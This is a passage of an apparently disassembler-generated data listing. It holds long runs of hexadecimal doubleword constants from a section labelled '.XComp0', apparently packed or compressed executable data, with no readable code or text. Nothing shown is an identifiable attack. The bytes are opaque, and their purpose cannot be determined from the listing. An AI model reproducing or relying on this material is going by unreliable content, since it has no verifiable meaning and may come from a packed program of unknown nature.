1E4737D3h, 7828989Fh, 0A4CDBC00h, 0D4F61BC9h, 873BE5E0h dd 10B480B7h, 0A5249447h, 63F10089h, 0B0CFD5B2h, 20904DCEh dd 3AD2AC00h, 2DE5EEAFh, 70B8FE25h, 422B0084h, 9C14E29Fh dd 78E297E1h, 12173507h, 0B9E02DCBh, 1527C7h, 30DE45B7h dd 0DA602085h, 0DAC39h, 0D04CBA59h, 0A5B8E3h, 0EEA10383h dd 93D499BEh, 6AAA4500h, 0A6539C91h, 6EC700BFh, 45A8364h dd 9A007989h, 0CB3EEDA4h, 24B3FC85h, 82347195h, 61C4402Fh dd 857B0048h, 0F4490C2Ah, 52639C00h, 0F5129F8Ch, 0E2B3EA82h dd 422005C3h, 0C0C0E209h, 78B9FB68h, 16714F07h, 8D001BA5h dd 2E2B7A8h, 9AB6FCC3h dd 0EA89697Dh, 1DF6F500h, 0C6002E9Eh, 5A4052CEh, 0B698D4h dd 5746FFF8h, 7A4864A1h, 0D562BCECh, 480D4768h, 307554B0h dd 0B3B81F57h, 0F106BA7Ch, 0BE409A2h, 0F2A60490h, 0C0F8D5C3h dd 4E8740AFh, 93D21A00h, 6027D98Fh, 0E1A53941h, 0BB707480h dd 0F8BAD173h, 0CE2D5205h, 0E01C5D22h, 351810C0h, 3C1358E5h dd 0A00077F5h, 6FCDE28h, 1500E1CEh, 44F4353Bh, 0FD32DDDh dd 989A1714h, 0B929E4E0h, 160A41F9h, 600BE549h, 28D59340h dd 0C9E6E4h, 184FB96Fh, 0CB874291h, 5B02DC1Fh, 4F3D380Eh dd 2FD344F7h, 0B25210D0h, 909A0303h, 0FCE36A65h, 3E23DD80h dd 0ADF8620Dh, 0FBF8B860h, 22E4A893h, 8C5D00ACh, 816DF491h dd 8492A797h, 2F7E1509h, 49EC20BFh, 0D86A8Fh, 4527A110h dd 0E841963h, 42D058h, 66C697CAh, 0A7C928Bh, 0C3DC36D2h dd 15802D80h, 2A2B5D41h, 80E9EC3Eh, 0A69B10D4h, 1D22CD40h dd 0C01612DEh, 515036F5h, 0C21EAE62h, 0EA0296FEh, 8028946Ah dd 157DB3C7h, 884A1317h, 0D3C820BCh, 83300EE0h, 0FCECD173h dd 0C2360385h, 3F23B9F5h, 6AC61900h, 0AADB0D3Dh, 0EC6B008Fh dd 8DCFEDC9h, 33018594h, 76F132BCh, 30801721h, 0D9798A4Ah dd 0FB011A63h, 0E7EEFC1Bh, 94324203h, 5088D124h, 4F006067h dd 0C1F7261Ch, 24542870h, 80A072FAh, 0EE0B88F0h, 0CF7F6EA1h dd 25EA27h, 0E74FFD78h, 2FBD0EC8h, 0B4985E3h, 1A634B8h dd 6CBF58h, 266CF5C8h, 36D0D5h, 615B2248h, 4869F77h, 66444601h dd 4DCFFA0Ah, 8A9C60h, 3876BE9Ah, 0FD9E0171h, 0BC313A0Bh dd 13340172h, 7ECA0EAh, 472F0005h, 2B5285F6h, 440E0358h dd 40CD71C8h, 0D70AE1D3h, 60134898h, 0D806930h, 501AD3Dh dd 1210F49Eh, 9FEC2B1Fh, 0A727008Ch, 0D69BE60Ah, 6A387FBEh dd 0A3A500BFh, 61C85345h, 0F780F636h, 4F98434h, 2C1731C1h dd 0F8C8C05Eh, 91004BB1h, 62273BBBh, 73F660BFh, 586E7021h dd 7BA8C8DEh, 5F72E4E4h, 82306E00h, 0C27CF43Dh, 0F09E006Ah dd 84543A35h, 7A02A94Ch, 0F2F7EA7Bh, 6434C065h, 0C03C01FFh dd 7E3BA492h, 0CC27E6h, 0AE19E47Ah, 3629B9h, 0D8CCFE85h dd 0AFDB2598h, 4900EC99h, 0A4FA817Ch, 640F0285h, 5DB510F6h dd 0ABF84868h, 592CB400h, 0A7F7BF67h, 0CD700A6h, 8A1A7FB2h dd 0AA01FA5Fh, 0FE6EE151h, 0DAF481BAh, 3D45FE79h, 0B980F5E4h dd 0C9671A3Dh, 0C041310h, 7034B380h, 0BF2C3490h, 95D7DD0h dd 0DA63553Dh, 0BC59E820h, 60E8FBD7h, 8FD0A55Dh, 0C4CBE126h dd 17F73688h, 20146FE8h, 0B35D5830h, 5EAE181Fh, 9206B149h dd 1F60C040h, 0DF7501B0h, 9C4FDA9h, 225A000Fh, 783FE2D0h dd 2C614DAFh, 4D854ECBh, 9BC800BAh, 6902423Dh, 0B6A8FB00h dd 0D9CF6C74h, 4CE4F41Ah, 8A000D28h, 0CD4C228Eh, 50B189E6h dd 0AEFB6F05h, 85A56400h, 120D709h, 14B85237h, 404BA0ECh dd 5CDD13C8h, 20B880FFh, 1415D0E1h, 0B2360097h, 4712DB91h dd 6801FFC2h, 482350A7h, 0B7D9336Bh, 80351428h, 5F308031h dd 0DEFCDFD0h, 0FC4EA600h, 21C41D5Ch, 0CC5B0018h, 0C768A8A4h dd 4800B492h, 0D896F241h, 186AE1h, 0BCC26604h, 25EE940Ch dd 0AA170500h, 0F1F26083h, 0E0890F4Ah, 96200DC3h, 0C1A77F6Dh dd 2900E4Ch, 0F6B21BE1h, 64E2E0h, 9DFE92D0h, 0D8C30095h dd 5F27780Eh, 11047D1Dh, 266E370Fh, 0B005488Bh, 507B90EBh dd 2D019CA0h, 5DAB21B3h, 0CBE3FC46h, 0C86B861Ch, 30C056C0h dd 0EA07BFBh, 6C78F48Bh, 0D95BBB60h, 3F33280Dh, 9969DE55h dd 88644873h, 0B66505CAh, 0C567E9AAh, 80D460F0h, 6F048B0Bh dd 0CDBB4B18h, 65286480h, 8B71C2Ch, 0E0F38031h, 2976D11Dh dd 0EB346600h, 0DC7E1012h, 7405F27Dh, 0E3C4AB0Ch, 1EC00528h dd 816781B8h, 24CAF016h, 0CC007C30h, 0E9303509h, 281B1B4h dd 0A65E7614h, 7C805D1Fh, 3C5F46CEh, 0C402CA0Eh, 0ABD406Ch dd 0C22DAC2h, 11FB6E59h, 3099151h, 1CE3AB18h, 4DA075F4h dd 6C0140EAh, 0E98105D6h, 80FC280Bh, 0B44B0A92h, 43271EEFh dd 8456C0BBh, 82E21623h, 0F0A35E24h, 8903BD00h, 24DED955h dd 80C4E726h, 0B16D8F3Dh, 2F00A2F4h, 0EB05ABCFh, 0B5BD15h dd 1C7FD602h, 0F498F220h, 58C00E24h, 860D338Fh, 74C00227h dd 3D3B12B1h, 7AC47095h, 9D00D944h, 577E1387h, 2C0B6968h dd 387D24E4h, 6BFE6C00h, 0A05E4DD9h, 0AC1AA204h, 0C8817D84h dd 0DA404C24h, 4799AF2h, 2D0AE2A7h, 0F48B6Dh, 7F2B41C3h dd 139B8E01h, 1DB04B5Fh, 0E1DF80EEh, 886335D2h, 6973F700h dd 0D4BCF07Ah, 0E81000EDh, 94C73905h, 0ECB94CCAh, 0B7741980h dd 3D13E12Fh, 84C0690h, 0AF0E6C80h, 0FF009EB1h, 1857A88Bh dd 0B0E24F3Ah, 0ADC6005Ch, 825F0433h, 0B5006352h, 0B4496466h dd 15E720h, 75A0B23h, 0D574958Ah, 8BAF7200h, 0A5CA88DFh dd 6038092Ch, 4B8044F8h, 0B490915Eh, 0FC46DE00h, 3334BF95h dd 0DA41097Ch, 78070C72h, 78072F0Bh, 20ED2025h, 0BF139417h dd 0D8073C5Bh, 0EF9EE66Ch, 16AAA04Dh, 0BCC9866h, 0DB92B1CFh dd 5A7488A0h, 0A200CD09h, 1996F7Bh, 0BAB9D26Bh, 73600084h dd 0F3ECF03Ah, 891840C7h, 0B0D6C399h, 0B49300BDh, 0AF47BF30h dd 3F009A9Eh, 998A7B6h, 0AC7CB11h, 0E1C403BBh, 0BA27809Ch dd 0E4971636h, 8B01F6B0h, 6117887Fh, 40C2F23Bh, 255B630h dd 3EC1AC97h, 0E80930h, 1F0F49E8h, 60CF105Fh, 82319EFCh dd 170C13CBh, 16280ED5h, 0D859F8E0h, 0BF076D23h, 0AD98AB02h dd 0E44DE86Ch, 531F00F5h, 709DA255h, 0C600CE7Fh, 0C935499h dd 1823C456h, 40D90FA0h, 0CB01349Eh, 10D6F826h, 9C300652h dd 6E30007Ch, 0A20BA940h, 0A0F69FBAh, 70A01890h, 740EF8B1h dd 0DC563526h, 29535007h, 5802AED0h, 50BC9440h, 0C449E9F1h dd 84FC0228h, 6E3D60E2h, 122F0068h, 0E18EC7C0h, 0AD00019Eh dd 6B6A4D13h, 1338143Dh, 0BC9396BCh, 1E1C431Fh, 0B8C0A37Ch dd 51FA12DFh, 3AF900E0h, 0EE1F235Ch, 0E8FAD41Dh, 0A212F7ECh dd 8704757h, 990DD7h, 0CC2BE80Bh, 98346426h, 0CCC9E524h dd 0AB1FA01h, 78A4FBD9h, 0E6986024h, 731C4B27h, 9AC28F5Dh dd 0E26568DBh, 7801C04h, 1675DDD4h, 0B9F4A336h, 593060AFh dd 7403252Eh, 0EA4B2490h, 91D0C883h, 8C064CD1h, 42CC62A0h dd 5C0D451Eh, 749054C0h, 17C0E8A4h, 311B0210h, 0FFC15DE0h dd 0B285A900h, 0FF2E397h, 967F0073h, 710258B0h, 5300AE68h dd 5269293Eh, 793C8h, 59D9F1C6h, 0F7D5266Ah, 97981F7Eh dd 0D8432A0Eh, 0E4C0533Ah, 60F075D0h, 558B700Bh, 7700CAC7h dd 920C8154h, 3C00FA1h, 7C32F406h, 0AC8071FEh, 210068DDh dd 0CCE57FBDh, 0C02D4DB4h, 0B2A57C24h, 0AC00584Eh, 113E773Ch dd 529C80Ch, 1DC941EAh, 0FEF20018h, 0E8A8A3AAh, 1039EF30h dd 1DC1B143h, 0F525BAh, 3C7812F1h, 70004719h, 5B3707E1h dd 1597A80h, 0D69BFA9Eh, 6C31FEh, 1925CA2h, 7C77F282h dd 80BDCD65h, 0EA4F855Ch, 0FE33D7h, 0A3C6AAF7h, 0DF5FDAB9h dd 9288BD00h, 0EF81ED9Eh, 0DDA80344h, 1C6B69E6h, 0E8D75C80h dd 1A91301h, 0B675E904h, 1FC7C3E4h, 9DB89AFDh, 0D930E03h dd 1426827h, 0ECAF9E57h, 340125A4h, 0AA3AE429h, 0E0DF764Eh dd 0FCCD1B2Ah, 149019Ah, 0F8D4C20Ch, 8209E093h, 41E09600h dd 2D8B7891h, 0C51A0086h, 56F06650h, 6D0E8838h, 2FE0A4DDh dd 0B2FE0ECh dd 0F5F780h, 6830C7CAh, 0A9497E74h, 0D100367Ah, 730A98B7h dd 3985D862h, 411D9E58h, 9142AE5h, 219AC533h, 25467100h dd 0A7005BE0h, 4B1B1A03h, 35806ACh, 0FCF49AD1h, 20B789FFh dd 0BB83B535h, 0F15D9801h, 0A0E7B4B9h, 0E15EAE4h, 951ABDFDh dd 0F966D660h, 570AEB75h, 0D0268FEDh, 78E8BC0Ch, 0BF54C3Bh dd 56EF1Fh, 8D26102Eh, 59496744h, 0C900030h, 0F7E212B9h dd 1D2A1CE1h, 8C3A00A4h, 5875637Dh, 783B9700h, 721CDB2Eh dd 8D0A0367h, 2AAC6251h, 83E39EC0h, 82804F00h, 0DF8C4D20h dd 0ED5100C4h, 77BFB909h, 0E8009476h, 3885CDAFh, 0C2F239h dd 6E54638Bh, 0B3D169DCh, 8D7D9500h, 0F84BEFD0h, 217A05D2h dd 45E0C66h, 80CAC354h, 3E6C7FDEh, 6F38F604h, 48806B61h dd 243A9249h, 8150038Dh, 0FB8C0884h, 759820BFh, 410C4A24h dd 0F5EF7600h, 0EF513C33h, 195800D3h, 7159A693h, 8C01C84Ch dd 0CBEF7EB3h, 9FD08B0Eh, 9BCE38A5h, 607A9900h, 0DCFF0175h dd 2625290Eh, 6AEA20C6h, 52B385h, 469AAEF2h, 2CB60C8Eh dd 831EDF0Eh, 950036F3h, 3209A148h, 3836007Eh, 84082324h dd 9674654Fh, 5AB2FE00h, 6F0CC434h, 30C30094h, 4BD8C026h dd 0C49278E7h, 0CCF1BC01h, 48794D57h, 75C3F040h, 0F4E401F2h dd 739B88F5h, 0C5CDD47Bh, 0B0483100h, 92CF96D7h, 0EFFC1589h dd 6700BC77h, 46164A9Ah, 8F0FBC14h, 0C05BC379h, 81866FCFh dd 0D55200ADh, 1EDD32E3h, 0BD0EFC71h, 0A2615F9Ah, 80B05C9Ch dd 45A6DEACh, 0D9E2002Dh, 83197995h, 5C1817EBh, 0B6B0719Dh dd 0B5BD0506h, 47CAC685h, 0C66A60B8h, 0D800C144h, 8216B16Fh dd 13F2A426h, 0AC29CFh, 47BBC0FCh, 0EF005A9Ah, 37E97C4h dd 0FC1FE7Bh, 0ADD66C30h, 0EA106032h, 8530DE92h, 0C10F5847h dd 46350E7Eh, 0B0D89CA6h, 7C37F515h, 4DB031EAh, 0B24631h dd 22099775h, 890788FBh, 0E65B0C1Fh, 6FD2C280h, 148648A9h dd 3875777Eh, 4143F8C7h, 0C0858F3Eh, 1870F7ADh, 3F6BC600h dd 88F648B8h, 0D1305B7h, 8CE0B0h, 40103E9Dh, 370A0818h dd 84B17A81h, 701A02BDh, 0E0E265FFh, 1303C33Dh, 0E88939h dd 64E10C74h, 0C6062306h, 43AC7331h, 0F4D20539h, 809193A7h dd 0DEBE231Ch, 954E1500h, 57EA6A21h, 0A63A2425h, 0C3F59E94h dd 0A0674B9Bh, 75CC3CF8h, 0BC40DCF2h, 0C23A0E47h, 1078A55Dh dd 0EB30F8C8h, 14C5F130h, 22EA3D51h, 0CEF2F82h, 0D4369A0h dd 6BB10198h, 0B900E2F0h, 2FAD3A63h, 8C6603h, 0A71FAF37h dd 5BF1BE07h, 0D89AF300h, 73FF8871h, 0EA68C0A9h, 319B039h dd 8F282A39h, 0E0A27796h, 0F9790859h, 0C1506F12h, 91060906h dd 92D1E300h, 31218E64h, 0FD5006Dh, 47B0417Eh, 96090E89h dd 0FD1F40h, 4B6B77D4h, 381E1768h, 238703ADh, 74010514h dd 92CDD770h, 0C858756Ch, 79D30044h, 1D20887Bh, 4B00F396h dd 69D93F89h, 0C68131h, 0BED12C42h, 455D4CFAh, 4D172001h dd 74A598FEh, 0EE8FF720h, 62DC3F78h, 58E46600h, 0F3F64B7Ah dd 0E0F9AFCh, 93EC4AEFh, 3DF55450h, 2303C5Bh, 0FEA32A6h dd 0DFE0801Fh, 6C6633h, 88A50CCCh, 0C8AD4D15h, 0F1B37C01h dd 773D6259h, 0DF9E8822h, 2664DEh, 0B9A11365h, 2512E094h dd 0C8308668h, 2092DCDDh, 20E342B7h, 7100B550h, 9FB37870h dd 30ABDF2Bh, 3031AE6Bh, 7F00C5A2h, 91BD129Bh, 1CC420BBh dd 556DEE6Bh, 4C0FA01Dh, 54C7E92Dh, 0FE7F906Ah, 5E2E769Eh dd 4E0100C2h, 86DCA5A3h, 0B02ED453h, 13A541Ah, 0A64A457Ch dd 8016C1A0h, 78F7F370h, 32603D2h, 0AC2D695Eh, 0E2B1A068h dd 5D9C40BEh, 0CC014811h, 0E90C1680h, 4C209CBCh, 0D44201F8h dd 39AE49Dh, 7467ED77h, 79010708h, 0D9C24DDAh, 0C050AF3Bh dd 0F25F86Bh, 70191EECh, 82DE6360h, 6D0458F4h, 83AE761Ch dd 0F3CC9CC0h, 0FA60653h, 0F046F5F1h, 4565A40Ch, 3930E8h dd 0B8A1DD6Bh, 9351E624h, 2E33ED04h, 0FC801D3Eh, 0A4E06F6h dd 0DDDEF160h, 641DFBh, 4A2A1E42h, 8B2E0C15h, 0B50024A5h dd 0EB650547h, 3B4501A4h, 8C488AF3h, 41CF7021h, 42CB9907h dd 0DBD17491h, 0FACCBC39h, 0F0854DFCh, 96C75700h, 9DE678C4h dd 8B608F28h, 0A20034B8h, 8388B33Bh, 36F44E8h, 0B8E5D2ABh dd 6AA3060Fh, 36243EB0h, 97097900h, 7DC25A91h, 2C657E4Eh dd 9BBC2Bh, 0F41178D6h, 0A03E5D7h, 84494BD4h, 0C060047Eh dd 93ACCEC3h, 0AECB7F08h, 0D16A5181h, 0E4D46439h, 840BE608h dd 5FF701C2h, 0D8659502h, 0E072035h, 841EC1D3h, 82547BB0h dd 48B603B8h, 9D50CA3Eh, 5BC9E3A0h, 0FDB91B04h, 0A8DC7BA2h dd 0A084130Ch, 76807130h, 707834E5h, 0F97CF800h, 66AD225Ch dd 0F1AB389Dh, 6AB23F70h, 0BCE1658Fh, 40A091EAh, 0DE4A902Ah dd 33DD9500h, 251D960Fh, 8C7600F5h, 1A5DD11Fh, 0C266580h dd 49422CCFh, 608498C2h, 0E8E44C7Ch, 0BE509600h, 0C14BE745h dd 0DA5C7D09h, 81BC456Dh, 1E5EF714h, 0C864656Eh, 0B80468FCh dd 0D3D98EB5h, 5525CC90h, 0B10E092Fh, 8F00DCC1h, 36B9B44Ch dd 0E449F25h, 0A4050028h, 169515h, 0C2CC7442h, 295A72AAh dd 4F215009h, 5B3C018Eh, 243462ADh, 1D278FAh, 241DDCB9h dd 745556E0h, 5018E400h, 0A681C6C2h, 48E80136h, 9F81E0C0h dd 182CE809h, 0D88DD400h, 6E9CF879h, 0DF6A09DDh, 8C405BB1h dd 7730AC4Ah, 87317985h, 96A72668h, 40802C54h, 297E5AEDh dd 4F0055F6h, 886827B1h, 768CE986h, 0EA2C24FEh, 672800F8h dd 0B79DE463h, 0A2CDFB12h, 0A5D48C30h, 0D3E100CFh db 95h byte_554345 db 1Eh, 91h, 68h ; DATA XREF: .XComp0:00452FACo dd 6F058292h, 60B4740Fh, 8282FC0h, 27CF6B0h, 15956B06h dd 0DCA02407h, 0DD4E53B2h, 2D8A448h, 7B5085E9h, 0A46667h dd 94C27737h, 6F982A68h, 65E7300Ah, 3978E8D1h, 2812654h dd 79840008h, 2E3BE1B9h, 71004CF0h, 0F04FC3EFh, 1DE95321h dd 8E1B25AFh, 0AA40D1F6h, 0E20D0349h, 0C550400h, 807323DCh dd 137CF046h, 572CA0h, 2E168609h, 0D7C5EDFh, 0F70AB0Fh dd 0F495409Eh, 0BB24EAh, 211ABA7Eh, 20060D30h, 0C3390500h dd 11411C74h, 0C23C00FCh, 8959BD5Eh, 6400560Fh, 44460B8Ah dd 12D62Eh, 78CB2905h, 0C3A9C7EBh, 2F7EFE03h, 0EBD74415h dd 525DE847h, 117300DFh, 0AA4C22Dh, 0E73B1AB3h, 47F7004Fh dd 0D8A29587h, 705203D1h, 852169FDh, 178CB800h, 6AEF3845h dd 0F58A001Bh, 0D28FAB70h, 0D41F0F96h, 0FFCCE384h, 0BA313Fh dd 2FB2B8BDh, 0F61F46D1h, 0A70839C0h, 0ECA288h, 0DD6721E1h dd 2F875423h, 93706800h, 0A0F74B6h, 91FA1CD3h, 0BF3480EEh dd 0AD253A3Bh, 0C3A7FC0Fh, 0AB59830Dh, 5181F0E6h, 0DA54A8B3h dd 4D72AEh, 2441C2C7h, 8F18DE17h, 7A655415h, 0EBFA1CB0h dd 5CFBC640h, 0F6E971C8h, 0CB9C07DAh, 105FCC64h, 3BB22A4h dd 5923A830h, 3CD5F2h, 0B65558B8h, 0D1683F46h, 7509BD03h dd 0E0E4A702h, 7DAB961Bh, 3082744Dh, 0B371389Eh, 44008E39h dd 2DFDA308h, 54A4D3h, 0A17A5D0Bh, 17939B90h, 0E0136E00h dd 51025E0Eh, 1B6D071Eh, 909069BEh, 0E89135CFh, 0CC50C567h dd 432DE160h, 78A204ABh, 800D95B0h, 1BC70F24h, 0B28D018h dd 0B8835010h, 0C97C00AEh, 0A193D4CAh, 0FB007D43h, 16EF0631h dd 0FBA81ABh, 999FEB8h, 6BB03C83h, 58661091h, 0AD7447F4h dd 0A1CC1307h, 0E0F101D7h, 0BEEC7F9Fh, 0B89D7B5Fh, 61210C1Eh dd 2C68C896h, 2B73C400h, 0B974274Fh, 12220265h, 369A9984h dd 2009A2C0h, 902DB624h, 0B43815h, 966988ABh, 7833FBh dd 0C7CAA320h, 9DE9E2ECh, 98B18300h, 971EF7F4h, 81230447h dd 80C450A8h, 487D99F4h, 0A1DBD0E5h, 197CD406h, 3B49FF4Ah dd 0C0C8FAC3h, 469B0800h, 0D5362721h, 6711F600h, 0AFA64502h dd 55B387Bh, 35EC8781h, 2086AAE5h, 0A35CC186h, 8CBA241Ah dd 0F92D9200h, 0A460D83h, 3BAD78E2h, 0C55600B8h, 30B5BE55h dd 0F5BC38h, 0FAA0FCF2h, 45BAA6h, 98827302h, 58E848F9h dd 0BC1A8014h, 0F6550F9Ch, 61B860AEh, 0C1B00F2Ch, 6D2776E8h dd 0B268C4DAh, 1B492B00h, 50CF3EE9h, 8F8E00B8h, 14784EFBh dd 0D7022120h, 0A82FEE35h, 0BD0BC009h, 6E6A003Ch, 326D9FD2h dd 0D31FE4B4h, 31C02116h, 0A8FFEDBEh, 11E7A70h, 0D6FE8FD8h dd 0F00587E4h, 0F201AA30h, 6BB73F1Ch, 987006BDh, 0D9D2A096h dd 44C5028Bh, 9F5DA502h, 0F5007444h, 31A3B6BDh, 1D70319h dd 0C034685Ah, 0C0D9150Dh, 0DD00FF6Ch, 0A694DBFCh, 0C5C2FC3h dd 381FDF45h, 5F7A26C0h, 89B49C00h, 0AECD98ADh, 1ACA00A2h dd 97DEE9F2h, 0AF008DF1h, 0DFD6946Ah, 537356h, 0A2714E4Fh dd 0ED724570h, 49D4ECE3h, 630EFA00h, 467F9AB1h, 16E502DEh dd 13DF6296h, 6085D661h, 7A58A5C8h, 677413DAh, 7BB0C870h dd 31611C20h, 7D470066h, 9FBE655Ah, 0A8BC5D00h, 2684C3ABh dd 11BF001Dh, 392B6B62h, 94E85579h, 77FC3A12h, 4AAF9000h dd 33180Bh, 0F5549867h, 0D95BB9ABh, 0F78E7C00h, 0B6929E86h dd 0A1D736Dh, 0EDA8E329h, 8A0400B4h, 0A4ECC08Eh, 517EA0Bh dd 0F6D58F6Eh, 110B914h, 0B31BEF14h, 436A6C9h, 0D83B1101h dd 80AC3FA5h, 1DCC80DCh, 5FF93Ah, 0AFD83E9h, 0F7C8E42Ch dd 9F8D0301h, 92316C29h, 54B435DCh, 5A02844Ah, 4091F8D2h dd 0C1FEF2F0h, 0F39FC801h, 270CD8FFh, 96C75C8h, 0FD663CDBh dd 28A38882h, 0C78E0CE0h, 29000498h, 7DB276BFh, 0B8573E20h dd 0ACC6009Ch, 916D82A5h, 7B4DFA2Bh, 9054C098h, 1CFE4917h dd 0AD52A63h, 1DC8553h, 264DB91Bh, 0EEA8D8B2h, 4A88EA00h dd 5EFC54AEh, 0DC0112C9h, 5B660267h, 18686E35h, 95000623h dd 0BDAD7B42h, 9D19C2Ch, 2086432Eh, 6F6B3CA0h, 0EE12D556h dd 1C400B99h, 0BA629864h, 98B7608Ah, 610CAF5Bh, 41E8D9C0h dd 0F0C8D2BDh, 3F3A07E5h, 907457CAh, 0F0B56553h, 0D9DE3C00h dd 5EEB1CFFh, 707BF1h, 5D289F68h, 336C609Eh, 8C5339h, 0D177738Eh dd 45F486h, 0E254DE26h, 3612577Ah, 99D99F0Fh, 9D8C00D8h dd 0FA30D26Bh, 15E1002Ch, 3572250Ch, 5F00A063h, 46FBCBB8h dd 43D7C2h, 211F5AA4h, 0E07DEA93h, 0A0BF98C7h, 60A65E62h dd 136FE7D6h, 40395DA3h, 0EAB1FF38h, 3C1E1822h, 724BA286h dd 0D4041067h, 6ADF1342h, 9D680053h, 0CE0E5C7Fh, 0D9E00F70h dd 0E5EA4A0Ah, 3F8490B8h, 91C7AB39h, 2705D120h, 66DC1F85h dd 0FCEF40FAh, 0A2937930h, 8B7AC377h, 0F33A8A01h, 0AA88AD09h dd 0C0028052h, 2CC91500h, 0FE9047h, 0CC1C813Bh, 800088BFh dd 0FC8C1E04h, 0B8DB539Ch, 3D3506D8h, 0B87410A2h, 2B03A098h dd 0B9F77ACCh, 6C88611Ch, 0C0793E6Fh, 9A01317Fh, 176B99F2h dd 0FC506550h, 0ECB038F3h, 0F93C0297h, 0BF15A775h, 0DE9F6468h dd 10B27700h, 1ABC3620h, 34252CF6h, 0A0C55AE0h, 908000BDh dd 0DB8AC768h, 1D6B040h, 1D2BF062h, 0E8F5EE61h, 9B00BDCFh dd 5C6CB264h, 0A66555h, 0D6628E9Ch, 0AEE64D9Dh, 31079204h dd 0D4905140h, 24E147DEh, 0E0A4809Eh, 0AAADE30Ah, 1EA21400h dd 0C69B4F35h, 3BC400DDh, 0BFC1A933h, 55002D60h, 0A2459D90h dd 3B8E5132h, 16002509h, 7634EEF3h, 0E8007907h, 643D5ACBh dd 0EEAC7h, 9059F9D9h, 579E437Ah, 0E62E7C00h, 2FD55EECh dd 6D8001A5h, 878D6C48h, 0C2DBDFEEh, 0C47C2EF9h, 9412AC07h dd 9A0013F2h, 0B4C1930Dh, 8FE800FDh, 0C831E24Eh, 0CC264C36h dd 3E002FFAh, 9156D27Ch, 62970009h, 33E7B25Eh, 0B43FFABCh dd 87ED80B6h, 138370Bh, 0AC39032Fh, 0B8AE0D61h, 3D158BD8h dd 68FF2B00h, 9ECB58Dh, 87E253h, 2D16226Ah, 0A25B7E18h dd 0BB3DDA0Fh, 0B3CBE2B4h, 0A7DD4065h, 40900707h, 0A00BB68Dh dd 63D47C1Eh, 0F7D67F1Fh, 5715F386h, 16D9E6B0h, 42FA1Ah dd 3C735BD9h, 0E6009517h, 0E24D3EF4h, 58156h, 0C23AD72Fh dd 8750CC8Dh, 0C853CD1Eh, 325B8BC1h, 0D3ED647Dh, 7046F8E4h dd 0A8771754h, 9CB7000Bh, 7738A5Dh, 38061C00h, 90BC2288h dd 15DC0C64h, 0B2488050h, 0A83172Ch, 0ADC7D702h, 8DF0805Fh dd 0E3F35Bh, 95E437AFh, 0C763AB36h, 0B94C7500h, 9E04F832h dd 0D32A2846h, 0A57F03ECh, 47C2130Fh, 0BD74CEA0h, 9EA1A73Fh dd 0F1804338h, 0E5B20751h, 7E150E1Dh, 860CABBh, 0A72501CBh dd 54C96100h, 0F89CF0D3h, 0FCA000E0h, 4197B326h, 3E3CAF17h dd 286808Eh, 98C76D03h, 14C0CFFh, 0F63863C3h, 58C80607h dd 0BAA0AC65h, 0A09F2918h, 8975C4h, 0C6B70F96h, 3FD88422h dd 6B41E204h, 0FA81C751h, 0D2F49853h, 1C384863h, 818F971Ch dd 3A78B35h, 15AE40A6h, 0FB0E2207h, 20570253h, 0E43E95CEh dd 0F682000Bh, 29648D5Ah, 8E7C4DBCh, 6B08880Fh, 85FAC0C9h dd 280662h, 230CC29Fh, 3CE7DAA1h, 3B5265Ch, 6EBEFF1Bh dd 89ADA805h, 0D90B00EEh, 30087982h, 0BF981274h, 0DDC34E00h dd 5BFD5A0Fh, 477D2Ah, 0A552F1ADh, 46B13B17h, 41E60975h dd 252F58C0h, 3968E06Eh, 6287EA86h, 80F2F3B8h, 9126B6AFh dd 56807300h dd 9A1C3B19h, 761D00D5h, 0C0AA500Bh, 25707FFFh, 19ADAB00h dd 0E6C2D48h, 618700A7h, 4751A0B6h, 76004ECCh, 6BDE6EE8h dd 0E255A9h, 0F7122E40h, 3FC71FF5h, 41040E0Eh, 0F10CC07Bh dd 338962Ah, 216305EAh, 0D7C0497Ah, 0D4600209h, 0A0E39EA8h dd 0B3B630BAh, 0D59BFF10h, 57A2300h, 6BB7921Ah, 3BB7A4Ah dd 96E0213Ah, 7EFB25ACh, 38E874ABh, 0C0E37DADh, 0EC00D797h dd 0A85F42A7h, 0EB64C5h, 2DBC7A48h, 0E9633A27h, 1CDCD40Ah dd 0A60295E0h, 0A0781942h, 736D0498h, 0D8710006h, 83C49266h dd 1300483Ah, 5C812C54h, 0C04ED40Ch, 0EE0DD9F0h, 4D0043C1h dd 0D2E96E7Dh, 0ECE4A892h, 77AA00A6h, 0BC190D3Eh, 4D0084EAh dd 3F37E940h, 18E407CBh, 395341BFh, 0AF00C0D0h, 21A86C8Ah dd 2637D8h, 96368D64h, 5B0FB66Ah, 1FA5DA5Ch, 5795B24Ch dd 3E13C0B8h, 0D7C7DEh, 0FFB06CB8h, 0BF420121h, 8036E13Ah dd 0B259991h, 4B7B6Fh, 0B0E733B2h, 9C2B864Fh, 1422DA00h dd 4E50AC36h, 0C1710788h, 578BF1D8h, 0EA0D903Dh, 2700F828h dd 0E09BDD23h, 0ECB8E4h, 38D4642Fh, 0FC45866Bh, 0AEC23E00h dd 750A8132h, 2A2400A1h, 102E7F39h, 7403E15Eh, 0BCD18325h dd 31678076h, 20C0A922h, 0C98C48h, 1B018E59h, 1F2232C7h dd 0BC004872h, 0FD996DBh, 9860715Eh, 747F0074h, 319B69CCh dd 7D0ADA4Ah, 0A87C8FA8h, 85233803h, 4300026h, 0E4ED81Fh dd 8207A13Fh, 0BEDCF71h, 35368A61h, 0F79C20h, 4AD76447h dd 0D0771EEh, 5DB27C00h, 25F4755Ch, 94344818h, 7A652400h dd 85AECA9h, 0AE3FACE6h, 0AAD8099h, 1ECCFE23h, 0C45C07DBh dd 2068C8D8h, 30225B93h, 823EE53Ch, 3BAAA00Bh, 53789025h dd 0FC860443h, 80C1E375h, 760915B9h, 9E2C81EAh, 26024B88h dd 4B84B09Ah, 0A3698018h, 48413D03h, 0F694A876h, 8EF00490h dd 0C0386E29h, 0E831A95Dh, 1C3D9D00h, 0F3027F6Ch, 208B1F1Bh dd 175D3C6h, 52BD3330h, 181C2404h, 0EC23E8C0h, 6176C8FAh dd 1F5FF078h, 0B708F879h, 11CE6C00h, 0D87347C3h, 28A000F2h dd 0FFA3DE6Dh, 0AA009977h, 0C23DDE4h, 1F405EEBh, 40BFCBAFh dd 81AD88BAh, 0DA03CDAEh, 618D1ED6h, 0DBD0012Ah, 97232DEDh dd 0C6108E21h, 0D03312AEh, 0A780D4DBh, 3E4806F9h, 2400B1F0h dd 30238072h, 87246790h, 7B00D59Eh, 0DD28F0AFh, 7407F1Dh dd 0CEBB091Eh, 9726A06Ah, 2B035250h, 88C6F6A8h, 0F5E2F8BEh dd 3FD400C4h, 8A9AA2DCh, 894890BAh, 0EAFD006Bh, 